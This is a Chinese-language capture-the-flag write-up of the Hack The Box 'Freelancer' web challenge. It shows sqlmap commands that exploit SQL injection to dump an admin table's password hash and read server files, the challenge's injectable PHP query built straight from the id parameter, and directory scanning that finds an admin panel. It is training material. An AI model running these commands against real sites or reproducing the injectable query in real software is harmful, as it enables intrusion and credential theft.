HTB-Challenges Freelancer
第一眼看上去没什么特殊有意思的功能,最后可以提交一个表单,但是实际上表单的功能还没做完,是无法提交的,没什么有意思的。
查看一下源码,发现源码里有一些有意思的注释
看了第一眼猜测可能存在sql injection。
sqlmap跑了一下果然有。
先查看一下有意思的数据库内容。
sqlmap -u http://docker.hackthebox.eu:32943/portfolio.php?id=1 -T safeadmin –dump
[21:03:35] [INFO] fetching entries for table ‘safeadmin’ in database ‘freelancer’
Database: freelancer
Table: safeadmin
[1 entry]
+—-+———-+————————————————————–+———————+
| id | username | password | created_at |
+—-+———-+————————————————————–+———————+
| 1 | safeadm | $2y$10$s2ZCi/tHICnA97uf4MfbZuhmOZQXdCnrM9VM9LBMHPp68vAXNRf4K | 2019-07-16 20:25:45 |
+—-+———-+————————————————————–+———————+
[21:03:35] [INFO] table ‘freelancer.safeadmin’ dumped to CSV file ‘/root/.sqlmap/output/docker.hackthebox.eu/dump/freelancer/safeadmin.csv’
[21:03:35] [INFO] fetched data logged to text files under ‘/root/.sqlmap/output/docker.hackthebox.eu’
发现数据库里储存了一串hash,hashcat跑的特别慢,虚拟机跑的只有58H/s,所以放弃爆破
sqlmap还有读取文件的功能,猜测这个web root 是在 /var/www/html ,尝试了一下果然是对的,再尝试读取一下这个portfolio的源码。
sqlmap -u http://docker.hackthebox.eu:32943/portfolio.php?id=1 –file-read=/var/www/html/portfolio.php
<div class="modal-dialog modal-xl" role="document">
<div class="modal-content">
<div class="modal-body text-center">
<div class="container">
<div class="row justify-content-center">
<div class="col-lg-8">
<!-- Portfolio Modal - Title -->
<!-- Icon Divider -->
<div class="divider-custom">
<!-- Portfolio Modal - Image -->
<img class="img-fluid rounded mb-5" src="img/portfolio/cabin.png" width="300" height="300">
<!-- Portfolio Modal - Text -->
<p class="mb-5"><?php
$id = isset($_GET[‘id’]) ? $_GET[‘id’] : ‘’;
$query = “SELECT * FROM portfolio WHERE id = $id”;
if ($result = mysqli_query($link, $query)) {
/\* fetch associative array \*/
while ($row = mysqli\_fetch\_row($result)) {
printf ("%s - %s\\n", $row\[1\], $row\[2\]);
}
/\* free result set \*/
mysqli\_free\_result($result);
}
/* close connection */
mysqli_close($link);
?>
</div>
</div>
</div>
</div>
</div>
发现源码里有调用 administrat/include/config.php 再去读取一下这个文件
发现了数据库的凭据,但是仍然没有什么用处。
既然发现了一个新的 administrat 目录,就用dirbuster扫一下。(之前也尝试过dirbuster扫根目录,就是因为他的目录都命名成了这种不完整的形式,所以一般情况扫不出来)
扫描之后发现了一个新的panel.php
读一下文件内容。